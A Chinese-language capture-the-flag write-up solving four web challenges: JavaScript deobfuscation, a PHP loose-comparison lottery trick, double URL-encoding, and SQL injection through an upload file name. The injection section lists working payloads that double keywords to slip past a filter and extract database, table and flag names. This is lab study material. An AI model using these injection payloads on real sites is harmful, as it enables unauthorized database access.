1.NaNNaNNaNNaN-Batman
打开题目提示下载一个附件,下载为一个文件,记事本打开
有地方乱码了,这里看到<script>标签,用浏览器打开看会不会弹出来
打开之后是一个输入框,输入什么都没用,再去看看文件
这里第一段是给 _ 赋了一个函数,_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'
最后发现了一个eval函数,它没执行$函数。这里用alert代替,弹出了源码
整理一下
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
判断一下这里的正则,^为首,$为尾。
即为be0f233ac7be98aa,把alert改为eval,输入即得。
2.攻防世界 lottery
题目打开先浏览了一下各个网页作用,发现
大概就是需要得到这么多钱来买flag,而方式是猜对彩票的数值。
下载下提供的源码后,发现robots.txt中
即提示git源码泄露,但这里题目给了源代码,审计过后发现判断函数在api.php中
发现flag条件
这里需要做手脚了让输入的数与随机数相等, 这里用==判断,即bool型,可以和任何数据弱类型相等,
抓包改包
把七位数都变为true,执行,发现钱数已经改变
不够就再来一次...
买到了flag
这种题真是好有意思,学到了。
3.攻防世界upload
注册先,邮箱啥的就1@.1这种就可以判断成功了,发现上传按钮
我试着传了一张照片上去,成功了,试试直接传个木马看看,不得行,抓包看看,题目好像被搞了....
路径也找不到,搞不动.....
这竟然是个注入题..大佬是说注入点在文件名上,意思这里文件名连接到数据库,
当输入文件名为注入语句时,发现并没有反应,且出现上传成功,
尝试多次发现过滤的时select和from,所以利用selselectect和frfromom进行绕过,
这里用到了CONV,substr,hex,
不转成数字,完全没有回显结果,所以用hex先将字符转换成16进制,然后用CONV函数将16进制转化为10进制,依次获取子串的12位,用substr截取12是因为一旦过长,会用科学计数法表示
数据库payload:1'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
得到后转成16进制,再hex
第二部分为
1'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
解码得到
即数据库为web_upload
接下来爆表,列
1’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),1,12),16,10))+’.jpg
这里从1变到37才完,发现表为
hello_flag_is_here
继续爆列
1’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),1,12),16,10))+’.jpg
1-13
发现为 i_am_flag
爆字段即可
1’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+’.jpg
1-25
!!_@m_Th.e_F!lag
直接提交即可,注意在构造sql语句中的双写。
4.攻防世界PHP2
这题刚进来就难住了...
各种尝试无果,看了wp发现源码在index.phps中。。。
读一下代码,第一步判断id===admin的话直接退出,判断成功则判断urldecode后的id和传入的id是否相同
这里考察了一个知识点,在你向浏览器后台传数据时,会将你提交除数字外的先进行一次urldecode,而这个函数又自己进行一次urldecode,
则这里需要传入admin编码后再次编码的值,只需编第一位即可
a -> %61-> %2561
传入%2561即可。